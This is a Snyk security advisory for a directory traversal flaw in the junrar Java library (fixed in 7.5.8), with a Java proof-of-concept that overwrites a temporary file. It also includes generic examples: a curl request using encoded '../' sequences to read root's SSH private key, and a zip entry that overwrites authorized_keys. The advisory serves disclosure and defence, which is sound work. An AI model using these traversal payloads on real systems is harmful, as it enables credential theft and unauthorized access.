Directory Traversal Affecting com.github.junrar:junrar package, versions [,7.5.8)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
12.04% (96th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Directory Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-COMGITHUBJUNRAR-15360268
  • published27 Feb 2026
  • disclosed27 Feb 2026
  • creditCache-Money

Introduced: 27 Feb 2026

CVE-2026-28208  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade com.github.junrar:junrar to version 7.5.8 or higher.

Overview

com.github.junrar:junrar is a rar decompression library in plain java.

Affected versions of this package are vulnerable to Directory Traversal via the LocalFolderExtractor component. An attacker can write arbitrary files with attacker-controlled content anywhere on the filesystem by extracting a specially crafted RAR archive on Linux/Unix systems, potentially leading to the execution of malicious code by overwriting critical files such as shell profiles, source code, or cron jobs.

Note:

This is not exploitable on Windows where backslashes are path separators.

PoC

package com.test;

import com.github.junrar.Junrar;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Path;

/**
 * PoC: Backslash path traversal bypass in junrar 7.5.7
 *
 * A RAR archive containing an entry with backslash-separated ".." components
 * bypasses the createFile() canonical path validation on Linux and writes
 * files outside the extraction directory via makeFile()'s path reconstruction.
 */
public class BackslashTraversalPoC {

    static final String TARGET = "/tmp/existing-file";
    static final String ARCHIVE = "malicious.rar";

    public static void main(String[] args) throws Exception {
        File archive = new File(ARCHIVE);
        if (!archive.exists()) {
            archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE);
        }

        // Step 1: Verify the pre-existing file (created by poc_setup.sh)
        File target = new File(TARGET);
        if (!target.exists()) {
            System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first.");
            System.exit(1);
        }

        System.out.println("Before extraction:");
        System.out.println("  " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim());
        System.out.println();

        // Step 2: Extract the malicious archive
        Path extractDir = Files.createTempDirectory("junrar-poc-");
        System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ...");
        try {
            Junrar.extract(archive, extractDir.toFile());
        } catch (Exception e) {
            System.out.println("Extraction error (may be expected): " + e.getMessage());
        }
        System.out.println();

        // Step 3: Show the result
        System.out.println("After extraction:");
        String content = Files.readString(Path.of(TARGET)).trim();
        System.out.println("  " + TARGET + " => " + content);
        System.out.println();

        if (content.equals("Overwritten")) {
            System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET);
        } else {
            System.out.println("NOT VULNERABLE: file contents unchanged");
        }
    }
}

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

CVSS Base Scores

version 4.0
version 3.1